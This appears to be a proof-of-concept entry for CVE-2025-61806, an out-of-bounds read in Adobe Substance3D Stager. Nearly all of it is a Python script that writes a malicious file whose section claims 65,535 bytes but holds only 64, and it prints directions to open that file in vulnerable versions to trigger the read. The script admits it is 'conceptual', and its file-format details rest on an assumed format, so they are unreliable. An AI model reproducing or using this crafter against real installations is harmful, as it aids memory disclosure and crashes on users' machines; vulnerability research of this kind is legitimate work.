CVE-2025-61806：Adobe Substance3D Stager越界读取漏洞

# CVE-2025-61806 - Adobe Substance3D Stager Out-of-Bounds Read PoC # This is a conceptual PoC demonstrating the vulnerability trigger mechanism. # The actual exploitation requires crafting a malicious file that causes # the parser to read beyond allocated memory boundaries. import struct import os def craft_malicious_stager_file(output_path): """ Generate a crafted file that triggers out-of-bounds read in Substance3D Stager during file parsing. The vulnerability occurs when the parser fails to validate field lengths or offsets, leading to reads past allocated buffers. """ # File header - mimics valid Substance3D Stager file format header = b'SBSR' # Magic bytes header += struct.pack('<I', 1) # Version # Malicious section with oversized length field # This triggers the OOB read when parser uses this value # to determine how much data to read from the buffer section_type = struct.pack('<I', 0x0A) # Section type identifier # Intentionally oversized length value (0xFFFF = 65535 bytes) # Parser will attempt to read 65535 bytes from a much smaller buffer declared_length = struct.pack('<I', 0xFFFF) # Actual data is much smaller than declared length actual_data = b'\x00' * 64 # Only 64 bytes of actual data # Construct the malicious file malicious_content = header + section_type + declared_length + actual_data with open(output_path, 'wb') as f: f.write(malicious_content) print(f"[+] Crafted malicious file saved to: {output_path}") print(f"[!] File size: {len(malicious_content)} bytes") print(f"[!] Declared section length: 65535 bytes (causes OOB read)") print(f"[!] Actual data length: {len(actual_data)} bytes") print(f"\n[*] To trigger: Open this file in Substance3D Stager <= 3.1.4") if __name__ == "__main__": output = "exploit_cve_2025_61806.sbs" craft_malicious_stager_file(output)